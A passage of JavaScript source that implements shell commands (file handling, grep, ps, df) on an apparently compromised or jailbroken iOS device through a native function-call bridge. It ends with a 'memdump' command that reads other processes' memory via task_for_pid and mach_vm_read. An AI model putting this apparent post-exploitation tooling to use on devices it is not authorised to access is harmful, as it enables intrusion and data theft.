_rawToStr(bytes);\n\t}\n\treturn { code: fail ? 1 : 0, out: out, err: errs };\n}\n\nfunction _cmdPwd() { return { code: 0, out: _cwd + \"\\n\", err: \"\" }; }\n\nfunction _cmdCd(args) {\n\tvar target = args.length > 1 ? args[1] : \"/var/mobile\";\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"cd: \" + path + \": No such file or directory\\n\" };\n\tif (!st.isDir) return { code: 1, out: \"\", err: \"cd: \" + path + \": Not a directory\\n\" };\n\t_cwd = path;\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdMkdir(args) {\n\tvar mkp = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-p\") mkp = true;\n\t\telse target = args[i];\n\t}\n\tif (!target) return { code: 1, out: \"\", err: \"mkdir: missing operand\\n\" };\n\tvar path = _resolvePath(target);\n\tif (mkp) {\n\t\tvar parts = path.split('/');\n\t\tvar cur = \"\";\n\t\tfor (var i = 0; i < parts.length; i++) {\n\t\t\tcur += (i === 0 ? \"\" : \"/\") + parts[i];\n\t\t\tif (!cur) cur = \"/\";\n\t\t\tif (!_statFile(cur)) Native.callSymbol(\"mkdir\", cur, 0x1ed);\n\t\t}\n\t} else {\n\t\tvar r = Number(Native.callSymbol(\"mkdir\", path, 0x1ed));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"mkdir: \" + path + \": Cannot create directory\\n\" };\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _rmRecursive(path) {\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = path + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") _rmRecursive(fp);\n\t\telse Native.callSymbol(\"unlink\", fp);\n\t}\n\tNative.callSymbol(\"rmdir\", path);\n}\n\nfunction _cmdRm(args) {\n\tvar recursive = false, force = false, targets = [];\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'r' || ch === 'R') recursive = true;\n\t\t\t\tif (ch === 'f') force = true;\n\t\t\t}\n\t\t} else targets.push(args[i]);\n\t}\n\tif (!targets.length) return { code: 1, out: \"\", err: \"rm: missing operand\\n\" };\n\tvar errs = \"\";\n\tfor (var t = 0; t < targets.length; t++) {\n\t\tvar path = _resolvePath(targets[t]);\n\t\tvar st = _statFile(path);\n\t\tif (!st) { if (!force) errs += \"rm: \" + path + \": No such file or directory\\n\"; continue; }\n\t\tif (st.isDir) {\n\t\t\tif (!recursive) { errs += \"rm: \" + path + \": Is a directory\\n\"; continue; }\n\t\t\t_rmRecursive(path);\n\t\t} else {\n\t\t\tvar r = Number(Native.callSymbol(\"unlink\", path));\n\t\t\tif (r !== 0 && !force) errs += \"rm: \" + path + \": Permission denied\\n\";\n\t\t}\n\t}\n\treturn { code: errs ? 1 : 0, out: \"\", err: errs };\n}\n\nfunction _cmdCp(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"cp: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar srcSt = _statFile(src);\n\tif (!srcSt) return { code: 1, out: \"\", err: \"cp: \" + src + \": No such file or directory\\n\" };\n\tif (!srcSt.isFile) return { code: 1, out: \"\", err: \"cp: \" + src + \": Not a regular file\\n\" };\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\n\tvar srcFd = Number(Native.callSymbol(\"open\", src, 0, 0));\n\tif (srcFd < 0) return { code: 1, out: \"\", err: \"cp: \" + src + \": Permission denied\\n\" };\n\tvar dstFd = Number(Native.callSymbol(\"open\", dst, 0x0601, 0x1a4));\n\tif (dstFd < 0) { Native.callSymbol(\"close\", srcFd); return { code: 1, out: \"\", err: \"cp: \" + dst + \": Cannot create file\\n\" }; }\n\n\tvar BUF = 65536;\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(BUF));\n\tif (!buf || buf === 0n) {\n\t\tNative.callSymbol(\"close\", srcFd); Native.callSymbol(\"close\", dstFd);\n\t\treturn { code: 1, out: \"\", err: \"cp: out of memory\\n\" };\n\t}\n\tvar err = \"\";\n\ttry {\n\t\tfor (;;) {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", srcFd, buf, BUF));\n\t\t\tif (nr <= 0) break;\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", dstFd, buf, nr));\n\t\t\tif (nw !== nr) { err = \"cp: write error\\n\"; break; }\n\t\t}\n\t} finally {\n\t\tNative.callSymbol(\"free\", buf);\n\t\tNative.callSymbol(\"close\", srcFd);\n\t\tNative.callSymbol(\"close\", dstFd);\n\t}\n\tif (!err) Native.callSymbol(\"chmod\", dst, 0x1A4);\n\treturn { code: err ? 1 : 0, out: \"\", err: err };\n}\n\nfunction _cmdMv(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"mv: missing operand\\n\" };\n\tvar src = _resolvePath(args[1]);\n\tvar dst = _resolvePath(args[2]);\n\tvar dstSt = _statFile(dst);\n\tif (dstSt && dstSt.isDir) dst = dst + \"/\" + src.split('/').pop();\n\tvar r = Number(Native.callSymbol(\"rename\", src, dst));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"mv: cannot move \" + src + \" to \" + dst + \"\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdStat(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"stat: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"stat: \" + path + \": No such file or directory\\n\" };\n\tvar out = \" File: \" + path + \"\\n\";\n\tout += \" Size: \" + st.size + \"\\tType: \" + st.type + \"\\n\";\n\tout += \" Mode: \" + _modeStr(st.mode) + \" (\" + (st.mode & 0xFFF).toString(8) + \")\\n\";\n\tout += \" Links: \" + st.nlink + \"\\n\";\n\tout += \"Access: \" + new Date(st.atime * 1000).toISOString() + \"\\n\";\n\tout += \"Modify: \" + new Date(st.mtime * 1000).toISOString() + \"\\n\";\n\tout += \"Change: \" + new Date(st.ctime * 1000).toISOString() + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdChmod(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"chmod: missing operand\\n\" };\n\tvar mode = parseInt(args[1], 8);\n\tif (isNaN(mode)) return { code: 1, out: \"\", err: \"chmod: invalid mode: \" + args[1] + \"\\n\" };\n\tvar path = _resolvePath(args[2]);\n\tvar r = Number(Native.callSymbol(\"chmod\", path, mode));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"chmod: \" + path + \": Operation not permitted\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdTouch(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"touch: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (st) {\n\t\tNative.callSymbol(\"utimes\", path, 0n);\n\t} else {\n\t\tvar fd = Number(Native.callSymbol(\"open\", path, 0x0601, 0x1a4));\n\t\tif (fd < 0) return { code: 1, out: \"\", err: \"touch: \" + path + \": Cannot create file\\n\" };\n\t\tNative.callSymbol(\"close\", fd);\n\t}\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdLn(args) {\n\tvar sym = false, target = null, link = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") sym = true;\n\t\telse if (!target) target = args[i];\n\t\telse link = args[i];\n\t}\n\tif (!target || !link) return { code: 1, out: \"\", err: \"ln: usage: ln [-s] target link\\n\" };\n\tvar tgt = _resolvePath(target);\n\tvar lnk = _resolvePath(link);\n\tvar fn = sym ? \"symlink\" : \"link\";\n\tvar r = Number(Native.callSymbol(fn, tgt, lnk));\n\tif (r !== 0) return { code: 1, out: \"\", err: \"ln: \" + lnk + \": Operation failed\\n\" };\n\treturn { code: 0, out: \"\", err: \"\" };\n}\n\nfunction _cmdReadlink(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"readlink: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar buf = Native.callSymbol(\"malloc\", 1024);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"readlink: failed\\n\" };\n\ttry {\n\t\tvar len = Number(Native.callSymbol(\"readlink\", path, buf, 1023));\n\t\tif (len <= 0) return { code: 1, out: \"\", err: \"readlink: \" + path + \": Invalid argument\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, len) + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _matchGlob(name, pattern) {\n\tif (!pattern) return true;\n\tif (pattern === \"*\") return true;\n\tif (pattern.indexOf('*') < 0 && pattern.indexOf('?') < 0) return name === pattern;\n\tvar re = \"^\";\n\tfor (var i = 0; i < pattern.length; i++) {\n\t\tvar c = pattern.charAt(i);\n\t\tif (c === '*') re += \".*\";\n\t\telse if (c === '?') re += \".\";\n\t\telse if (\".+^${}()|[]\\\\\".indexOf(c) >= 0) re += \"\\\\\" + c;\n\t\telse re += c;\n\t}\n\tre += \"$\";\n\ttry { return new RegExp(re).test(name); }\n\tcatch(e) { return name.indexOf(pattern.replace(/\\*/g, '')) >= 0; }\n}\n\nfunction _findRecursive(base, namePattern, typeFilter, results, depth, maxDepth) {\n\tif (depth > maxDepth || results.length > 10000) return;\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar fp = base + (base === \"/\" ? \"\" : \"/\") + items[i].name;\n\t\tvar isDir = items[i].type === \"dir\";\n\t\tvar isFile = items[i].type === \"file\";\n\t\tif (typeFilter === \"f\" && !isFile) {\n\t\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t\t\tcontinue;\n\t\t}\n\t\tif (typeFilter === \"d\" && !isDir) continue;\n\t\tif (_matchGlob(items[i].name, namePattern)) results.push(fp);\n\t\tif (isDir) _findRecursive(fp, namePattern, typeFilter, results, depth + 1, maxDepth);\n\t}\n}\n\nfunction _cmdFind(args) {\n\tvar searchPath = null, namePattern = null, typeFilter = null;\n\tvar i = 1;\n\twhile (i < args.length) {\n\t\tif (args[i] === \"-name\" && i + 1 < args.length) { namePattern = args[i + 1]; i += 2; }\n\t\telse if (args[i] === \"-type\" && i + 1 < args.length) { typeFilter = args[i + 1]; i += 2; }\n\t\telse if (args[i].charAt(0) !== '-') { searchPath = args[i]; i++; }\n\t\telse { i++; }\n\t}\n\tvar path = _resolvePath(searchPath || \".\");\n\tvar results = [];\n\t_findRecursive(path, namePattern, typeFilter, results, 0, 20);\n\treturn { code: 0, out: results.join(\"\\n\") + (results.length ? \"\\n\" : \"\"), err: \"\" };\n}\n\nfunction _cmdHead(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"head: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"head: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = lines.slice(0, n).join('\\n');\n\tif (lines.length > n) out += '\\n';\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdTail(args) {\n\tvar n = 10, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { n = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"tail: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"tail: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar start = lines.length > n ? lines.length - n : 0;\n\treturn { code: 0, out: lines.slice(start).join('\\n'), err: \"\" };\n}\n\nfunction _cmdWc(args) {\n\tvar cntL = false, cntW = false, cntC = false, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i].charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < args[i].length; j++) {\n\t\t\t\tvar ch = args[i].charAt(j);\n\t\t\t\tif (ch === 'l') cntL = true;\n\t\t\t\tif (ch === 'w') cntW = true;\n\t\t\t\tif (ch === 'c') cntC = true;\n\t\t\t}\n\t\t} else file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"wc: missing operand\\n\" };\n\tif (!cntL && !cntW && !cntC) { cntL = true; cntW = true; cntC = true; }\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"wc: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar out = \"\";\n\tif (cntL) { var nl = 0; for (var k = 0; k < text.length; k++) if (text.charAt(k) === '\\n') nl++; out += nl + \"\\t\"; }\n\tif (cntW) {\n\t\tvar wc = 0, inWord = false;\n\t\tfor (var k = 0; k < text.length; k++) {\n\t\t\tvar cc = text.charCodeAt(k);\n\t\t\tvar ws = (cc === 32 || cc === 9 || cc === 10 || cc === 13);\n\t\t\tif (!ws && !inWord) { wc++; inWord = true; }\n\t\t\tif (ws) inWord = false;\n\t\t}\n\t\tout += wc + \"\\t\";\n\t}\n\tif (cntC) out += bytes.length + \"\\t\";\n\tout += path + \"\\n\";\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdGrep(args) {\n\tif (args.length < 3) return { code: 1, out: \"\", err: \"grep: usage: grep pattern file\\n\" };\n\tvar ignCase = false, lineNum = false;\n\tvar pattern = null, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-i\") ignCase = true;\n\t\telse if (args[i] === \"-n\") lineNum = true;\n\t\telse if (!pattern) pattern = args[i];\n\t\telse file = args[i];\n\t}\n\tif (!pattern || !file) return { code: 1, out: \"\", err: \"grep: usage: grep [-in] pattern file\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path);\n\tif (!bytes) return { code: 1, out: \"\", err: \"grep: \" + path + \": No such file or directory\\n\" };\n\tvar text = _rawToStr(bytes);\n\tvar lines = text.split('\\n');\n\tvar out = \"\";\n\tvar found = false;\n\tvar pat = ignCase ? pattern.toLowerCase() : pattern;\n\tfor (var i = 0; i < lines.length; i++) {\n\t\tvar line = ignCase ? lines[i].toLowerCase() : lines[i];\n\t\tif (line.indexOf(pat) >= 0) {\n\t\t\tout += (lineNum ? (i + 1) + \":\" : \"\") + lines[i] + \"\\n\";\n\t\t\tfound = true;\n\t\t}\n\t}\n\treturn { code: found ? 0 : 1, out: out, err: \"\" };\n}\n\nfunction _duRecursive(path, depth) {\n\tif (depth > 50) return 0;\n\tvar st = _statFile(path);\n\tif (!st) return 0;\n\tif (st.isFile) return st.size;\n\tvar total = 0;\n\tvar items = listDir(path);\n\tfor (var i = 0; i < items.length; i++) {\n\t\ttotal += _duRecursive(path + \"/\" + items[i].name, depth + 1);\n\t}\n\treturn total;\n}\n\nfunction _cmdDu(args) {\n\tvar summary = false, human = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-s\") summary = true;\n\t\telse if (args[i] === \"-h\") human = true;\n\t\telse if (args[i].charAt(0) !== '-') target = args[i];\n\t}\n\tvar path = _resolvePath(target || \".\");\n\tvar total = _duRecursive(path, 0);\n\tvar sizeStr = human ? _fmtSizeH(total) : \"\" + (total / 1024 | 0);\n\treturn { code: 0, out: sizeStr + \"\\t\" + path + \"\\n\", err: \"\" };\n}\n\nfunction _cmdFile(args) {\n\tif (args.length < 2) return { code: 1, out: \"\", err: \"file: missing operand\\n\" };\n\tvar path = _resolvePath(args[1]);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 1, out: \"\", err: \"file: \" + path + \": No such file or directory\\n\" };\n\tif (st.isDir) return { code: 0, out: path + \": directory\\n\", err: \"\" };\n\tif (st.isLink) return { code: 0, out: path + \": symbolic link\\n\", err: \"\" };\n\tvar bytes = _readFileBytes(path, 512);\n\tif (!bytes || bytes.length === 0) return { code: 0, out: path + \": empty\\n\", err: \"\" };\n\tif (bytes.length >= 4) {\n\t\tif (bytes[0]===0xCF && bytes[1]===0xFA && bytes[2]===0xED && bytes[3]===0xFE) return { code: 0, out: path + \": Mach-O 64-bit executable\\n\", err: \"\" };\n\t\tif (bytes[0]===0xCA && bytes[1]===0xFE && bytes[2]===0xBA && bytes[3]===0xBE) return { code: 0, out: path + \": Mach-O universal binary\\n\", err: \"\" };\n\t\tif (bytes[0]===0x89 && bytes[1]===0x50 && bytes[2]===0x4E && bytes[3]===0x47) return { code: 0, out: path + \": PNG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0xFF && bytes[1]===0xD8 && bytes[2]===0xFF) return { code: 0, out: path + \": JPEG image data\\n\", err: \"\" };\n\t\tif (bytes[0]===0x50 && bytes[1]===0x4B && bytes[2]===0x03 && bytes[3]===0x04) return { code: 0, out: path + \": Zip archive\\n\", err: \"\" };\n\t\tif (bytes[0]===0x53 && bytes[1]===0x51 && bytes[2]===0x4C && bytes[3]===0x69) return { code: 0, out: path + \": SQLite 3.x database\\n\", err: \"\" };\n\t\tif (bytes[0]===0x62 && bytes[1]===0x70 && bytes[2]===0x6C && bytes[3]===0x69) return { code: 0, out: path + \": Apple binary property list\\n\", err: \"\" };\n\t\tif (bytes[0]===0x3C && bytes[1]===0x3F && bytes[2]===0x78 && bytes[3]===0x6D) return { code: 0, out: path + \": XML document\\n\", err: \"\" };\n\t}\n\tvar isText = true;\n\tfor (var i = 0; i < Math.min(bytes.length, 256); i++) {\n\t\tif (bytes[i] < 9 || (bytes[i] > 13 && bytes[i] < 32 && bytes[i] !== 27)) { isText = false; break; }\n\t}\n\tif (isText) return { code: 0, out: path + \": ASCII text\\n\", err: \"\" };\n\treturn { code: 0, out: path + \": data\\n\", err: \"\" };\n}\n\nfunction _cmdHexdump(args) {\n\tvar maxBytes = 256, file = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tif (args[i] === \"-n\" && i + 1 < args.length) { maxBytes = parseInt(args[++i]); }\n\t\telse if (args[i].charAt(0) !== '-') file = args[i];\n\t}\n\tif (!file) return { code: 1, out: \"\", err: \"hexdump: missing operand\\n\" };\n\tvar path = _resolvePath(file);\n\tvar bytes = _readFileBytes(path, maxBytes);\n\tif (!bytes) return { code: 1, out: \"\", err: \"hexdump: \" + path + \": No such file or directory\\n\" };\n\tvar out = \"\";\n\tfor (var i = 0; i < bytes.length; i += 16) {\n\t\tvar addr = (\"00000000\" + i.toString(16)).slice(-8);\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < bytes.length) {\n\t\t\t\thex += (\"0\" + bytes[i + j].toString(16)).slice(-2) + \" \";\n\t\t\t\tascii += (bytes[i + j] >= 32 && bytes[i + j] < 127) ? String.fromCharCode(bytes[i + j]) : \".\";\n\t\t\t} else { hex += \" \"; }\n\t\t\tif (j === 7) hex += \" \";\n\t\t}\n\t\tout += addr + \" \" + hex + \" |\" + ascii + \"|\\n\";\n\t}\n\treturn { code: 0, out: out, err: \"\" };\n}\n\n// ---- System Info Commands ----\n\nfunction _cmdWhoami() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\treturn { code: 0, out: (uid === 0 ? \"root\" : \"mobile\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdId() {\n\tvar uid = Number(Native.callSymbol(\"getuid\"));\n\tvar gid = Number(Native.callSymbol(\"getgid\"));\n\tvar euid = Number(Native.callSymbol(\"geteuid\"));\n\tvar egid = Number(Native.callSymbol(\"getegid\"));\n\tvar uname = uid === 0 ? \"root\" : \"mobile\";\n\tvar gname = gid === 0 ? \"wheel\" : gid === 501 ? \"mobile\" : \"\" + gid;\n\tvar out = \"uid=\" + uid + \"(\" + uname + \") gid=\" + gid + \"(\" + gname + \")\";\n\tif (euid !== uid) out += \" euid=\" + euid;\n\tif (egid !== gid) out += \" egid=\" + egid;\n\treturn { code: 0, out: out + \"\\n\", err: \"\" };\n}\n\nfunction _cmdUname(args) {\n\tvar all = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-a\") all = true;\n\tvar uts = Native.callSymbol(\"calloc\", 1, 1536);\n\tif (!uts || uts === 0n) return { code: 1, out: \"\", err: \"uname: failed\\n\" };\n\ttry {\n\t\tNative.callSymbol(\"uname\", uts);\n\t\tvar sysname = Native.readString(uts, 256).replace(/\\0/g, \"\");\n\t\tvar nodename = Native.readString(uts + 256n, 256).replace(/\\0/g, \"\");\n\t\tvar release = Native.readString(uts + 512n, 256).replace(/\\0/g, \"\");\n\t\tvar version = Native.readString(uts + 768n, 256).replace(/\\0/g, \"\");\n\t\tvar machine = Native.readString(uts + 1024n, 256).replace(/\\0/g, \"\");\n\t\tif (all) return { code: 0, out: sysname + \" \" + nodename + \" \" + release + \" \" + version + \" \" + machine + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: sysname + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", uts); }\n}\n\nfunction _cmdHostname() {\n\tvar buf = Native.callSymbol(\"malloc\", 256);\n\tif (!buf || buf === 0n) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"gethostname\", buf, 255));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"hostname: failed\\n\" };\n\t\treturn { code: 0, out: Native.readString(buf, 256).replace(/\\0/g, \"\") + \"\\n\", err: \"\" };\n\t} finally { Native.callSymbol(\"free\", buf); }\n}\n\nfunction _cmdDf(args) {\n\tvar human = false;\n\tfor (var i = 1; i < args.length; i++) if (args[i] === \"-h\") human = true;\n\tvar sb = Native.callSymbol(\"calloc\", 1, 4096);\n\tif (!sb || sb === 0n) return { code: 1, out: \"\", err: \"df: failed\\n\" };\n\ttry {\n\t\tvar r = Number(Native.callSymbol(\"statfs\", \"/\", sb));\n\t\tif (r !== 0) return { code: 1, out: \"\", err: \"df: statfs failed\\n\" };\n\t\tvar bsRaw = new DataView(Native.read(BigInt(sb), 4));\n\t\tvar bsize = bsRaw.getUint32(0, true);\n\t\tvar blocks = Number(Native.readPtr(BigInt(sb) + 8n));\n\t\tvar bfree = Number(Native.readPtr(BigInt(sb) + 16n));\n\t\tvar bavail = Number(Native.readPtr(BigInt(sb) + 24n));\n\t\tvar total = blocks * bsize, free = bfree * bsize;\n\t\tvar used = total - free, avail = bavail * bsize;\n\t\tvar pct = total > 0 ? Math.round(used * 100 / total) : 0;\n\t\tvar out = \"Filesystem\\tSize\\tUsed\\tAvail\\tUse%\\tMounted on\\n\";\n\t\tif (human) {\n\t\t\tout += \"/dev/disk0s1\\t\" + _fmtSizeH(total) + \"\\t\" + _fmtSizeH(used) + \"\\t\" + _fmtSizeH(avail) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t} else {\n\t\t\tout += \"/dev/disk0s1\\t\" + (total/1024|0) + \"\\t\" + (used/1024|0) + \"\\t\" + (avail/1024|0) + \"\\t\" + pct + \"%\\t/\\n\";\n\t\t}\n\t\treturn { code: 0, out: out, err: \"\" };\n\t} finally { Native.callSymbol(\"free\", sb); }\n}\n\nfunction _cmdDate() {\n\tvar now = new Date();\n\treturn { code: 0, out: now.toISOString().replace(\"T\", \" \").replace(\"Z\", \" UTC\") + \"\\n\", err: \"\" };\n}\n\nfunction _cmdEcho(args) {\n\treturn { code: 0, out: args.slice(1).join(\" \") + \"\\n\", err: \"\" };\n}\n\n// ---- Process Commands ----\n\nfunction _cmdPs(args) {\n\tvar pidBufSize = 4 * 8192;\n\tvar pidBuf = Native.callSymbol(\"malloc\", BigInt(pidBufSize));\n\tif (!pidBuf || pidBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar count = Number(Native.callSymbol(\"proc_listallpids\", pidBuf, pidBufSize));\n\tif (count <= 0) {\n\t\tNative.callSymbol(\"free\", pidBuf);\n\t\treturn { code: 1, out: \"\", err: \"ps: proc_listallpids failed\\n\" };\n\t}\n\tif (count > 8192) count = 8192;\n\n\tvar pids = [];\n\tfor (var i = 0; i < count; i++) {\n\t\tvar pid = Native.read32(BigInt(pidBuf) + BigInt(i * 4));\n\t\tif (pid > 0) pids.push(pid);\n\t}\n\tNative.callSymbol(\"free\", pidBuf);\n\tpids.sort(function(a, b) { return a - b; });\n\n\tvar nameBuf = Native.callSymbol(\"malloc\", 256);\n\tif (!nameBuf || nameBuf === 0n) return { code: 1, out: \"\", err: \"ps: malloc failed\\n\" };\n\n\tvar out = \" PID\\tNAME\\n\";\n\tfor (var pi = 0; pi < pids.length; pi++) {\n\t\ttry {\n\t\t\tNative.callSymbol(\"memset\", nameBuf, 0, 256);\n\t\t\tvar nameLen = Number(Native.callSymbol(\"proc_name\", pids[pi], nameBuf, 255));\n\t\t\tvar name = nameLen > 0 ? Native.readString(BigInt(nameBuf), 255) : \"?\";\n\t\t\tout += \" \" + pids[pi] + \"\\t\" + name + \"\\n\";\n\t\t} catch (procErr) {\n\t\t\tout += \" \" + pids[pi] + \"\\t(error)\\n\";\n\t\t}\n\t}\n\tNative.callSymbol(\"free\", nameBuf);\n\tout += \"\\nTotal: \" + pids.length + \" processes\\n\";\n\n\treturn { code: 0, out: out, err: \"\" };\n}\n\nfunction _cmdMemdump(args) {\n\tif (args.length < 4) return { code: 1, out: \"\", err: \"memdump: usage: memdump \\n Address in hex (0x...). Max dump display 4KB, max read 1MB.\\n\" };\n\n\tvar pid = parseInt(args[1]);\n\tvar addrStr = args[2];\n\tvar address = (addrStr.indexOf(\"0x\") === 0 || addrStr.indexOf(\"0X\") === 0)\n\t\t? parseInt(addrStr, 16) : parseInt(addrStr);\n\tvar size = parseInt(args[3]);\n\n\tif (isNaN(pid) || pid <= 0) return { code: 1, out: \"\", err: \"memdump: invalid pid\\n\" };\n\tif (isNaN(address)) return { code: 1, out: \"\", err: \"memdump: invalid address\\n\" };\n\tif (isNaN(size) || size <= 0) return { code: 1, out: \"\", err: \"memdump: invalid size\\n\" };\n\tif (size > 1024 * 1024) return { code: 1, out: \"\", err: \"memdump: size too large (max 1MB)\\n\" };\n\n\tvar selfPortAddr = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"mach_task_self_\");\n\tif (!selfPortAddr || selfPortAddr === 0n) return { code: 1, out: \"\", err: \"memdump: cannot resolve mach_task_self_\\n\" };\n\tvar selfPort = Native.read32(BigInt(selfPortAddr));\n\n\tvar taskPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tif (!taskPtr || taskPtr === 0n) return { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\n\tvar kr = Number(Native.callSymbol(\"task_for_pid\", selfPort, pid, taskPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", taskPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: task_for_pid failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\tvar task = Native.read32(BigInt(taskPtr));\n\tNative.callSymbol(\"free\", taskPtr);\n\n\tvar dataOutPtr = Native.callSymbol(\"calloc\", 1, 8);\n\tvar cntOutPtr = Native.callSymbol(\"calloc\", 1, 4);\n\tif (!dataOutPtr || dataOutPtr === 0n || !cntOutPtr || cntOutPtr === 0n) {\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\tif (dataOutPtr) Native.callSymbol(\"free\", dataOutPtr);\n\t\tif (cntOutPtr) Native.callSymbol(\"free\", cntOutPtr);\n\t\treturn { code: 1, out: \"\", err: \"memdump: malloc failed\\n\" };\n\t}\n\n\tkr = Number(Native.callSymbol(\"mach_vm_read\", task, BigInt(address), BigInt(size), dataOutPtr, cntOutPtr));\n\tif (kr !== 0) {\n\t\tNative.callSymbol(\"free\", dataOutPtr);\n\t\tNative.callSymbol(\"free\", cntOutPtr);\n\t\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\t\treturn { code: 1, out: \"\", err: \"memdump: mach_vm_read failed (kern_return=\" + kr + \")\\n\" };\n\t}\n\n\tvar dataAddr = Native.readPtr(BigInt(dataOutPtr));\n\tvar dataCnt = _readU32(BigInt(cntOutPtr), 0);\n\tNative.callSymbol(\"free\", dataOutPtr);\n\tNative.callSymbol(\"free\", cntOutPtr);\n\n\tvar readSize = dataCnt < size ? dataCnt : size;\n\tvar bytes = new Uint8Array(Native.read(dataAddr, readSize));\n\n\tNative.callSymbol(\"mach_vm_deallocate\", selfPort, dataAddr, BigInt(dataCnt));\n\tNative.callSymbol(\"mach_port_deallocate\", selfPort, task);\n\n\tvar maxShow = readSize > 4096 ? 4096 : readSize;\n\tvar out = \"\";\n\tfor (var i = 0; i < maxShow; i += 16) {\n\t\tvar a = (address + i).toString(16);\n\t\twhile (a.length < 8) a = \"0\" + a;\n\t\tvar hex = \"\", ascii = \"\";\n\t\tfor (var j = 0; j < 16; j++) {\n\t\t\tif (i + j < maxShow) {\n\t\t\t\tvar hx = bytes[i + 